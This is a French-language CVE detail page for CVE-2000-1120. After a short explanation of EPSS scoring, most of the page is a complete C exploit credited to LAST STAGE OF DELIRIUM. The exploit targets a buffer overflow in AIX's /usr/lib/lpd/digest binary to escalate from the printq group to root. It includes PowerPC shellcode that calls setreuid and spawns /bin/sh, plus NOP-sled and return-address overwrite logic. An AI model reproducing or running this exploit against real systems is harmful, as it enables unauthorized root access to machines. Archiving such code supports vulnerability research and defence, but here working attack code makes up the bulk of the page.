CVE-2000-1120 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* source: https://www.securityfocus.com/bid/2033/info AIX is a version of the UNIX Operating System distributed by IBM. A vulnerability exists in the operating system which could allow a user an elevation in priviledge. The problem occurs in the digest binary. It is reported that it is possible to overflow a buffer in the program and overwrite a pointer to the stack, which in turn can result in an overflow in a library referenced by the binary. The secondary overflow in the library makes it possible to overwrite other stack variables, including the return address. A malicious user could use this vulnerability to gain an elevation in priviledges, and potentially UID 0. */ /*## copyright LAST STAGE OF DELIRIUM dec 2000 poland *://lsd-pl.net/ #*/ /*## /usr/lib/lpd/digest #*/ /* note: to avoid potential system hang-up please, first obtain the exact */ /* AIX OS level with the use of the uname -a or oslevel commands */ /* printq group to root user's privilages escalation attack */ /* use aix_piomkapqd or aix_piobe codes first in order to gain egid=printq */ #define PCHNUM 2200 #define ADRNUM 8000 #define NOPNUM 8000 #define ALLIGN 2 char setreuidcode[]= "\x7e\x94\xa2\x79" /* xor. r20,r20,r20 */ "\x40\x82\xff\xfd" /* bnel <setreuidcode> */ "\x7e\xa8\x02\xa6" /* mflr r21 */ "\x3a\xb5\x01\x40" /* cal r21,0x140(r21) */ "\x88\x55\xfe\xe0" /* lbz r2,-288(r21) */ "\x7e\x83\xa3\x78" /* mr r3,r20 */ "\x3a\xd5\xfe\xe4" /* cal r22,-284(r21) */ "\x7e\xc8\x03\xa6" /* mtlr r22 */ "\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */ "\x44\xff\xff\x02" /* svca */ "\xff\xff\xff\xff" "\x38\x75\xff\x04" /* cal r3,-252(r21) */ "\x38\x95\xff\x0c" /* cal r4,-244(r21) */ "\x7e\x85\xa3\x78" /* mr r5,r20 */ "\x90\x75\xff\x0c" /* st r3,-244(r21) */ "\x92\x95\xff\x10" /* st r20,-240(r21) */ "\x88\x55\xfe\xe1" /* lbz r2,-287(r21) */ "\x9a\x95\xff\x0b" /* stb r20,-245(r21) */ "\x4b\xff\xff\xd8" /* bl <setreuidcode+32> */ "/bin/sh" ; char nop[]="\x7f\xff\xfb\x78"; main(int argc,char **argv,char **e){ char buffer[20000],adr[4],pch[4],*b,*envp[2]; int i; printf("copyright LAST STAGE OF DELIRIUM dec 2000 poland //lsd-pl.net/\n"); printf("/usr/lib/lpd/digest for aix 4.1 4.2 4.3 PowerPC/POWER\n\n"); if(argc<2){ printf("usage: %s 41|42|43\n",argv[0]);exit(-1); } switch(atoi(argv[1])){ case 41: memcpy(&setreuidcode[40],"\x68\x03",2); break; case 42: memcpy(&setreuidcode[40],"\x71\x02",2); break; case 43: memcpy(&setreuidcode[40],"\x82\x04",2); break; default: exit(-1); } i=0; while(*e++) i+=strlen(*e)+1; *((unsigned long*)adr)=(unsigned long)e+(i&~3)-8000-2300; *((unsigned long*)pch)=(unsigned long)e+(i&~3)-2300; envp[0]=&buffer[3000]; envp[1]=0; b=buffer; for(i=0;i<ALLIGN;i++) *b++=' '; for(i=0;i<PCHNUM;i++) *b++=pch[i%4]; *b=0; b=&buffer[3000]; sprintf(b,"xxx= ");b+=5; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i]; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; *b=0; execle("/usr/lib/lpd/digest","lsd",buffer,"lsd",0,envp); }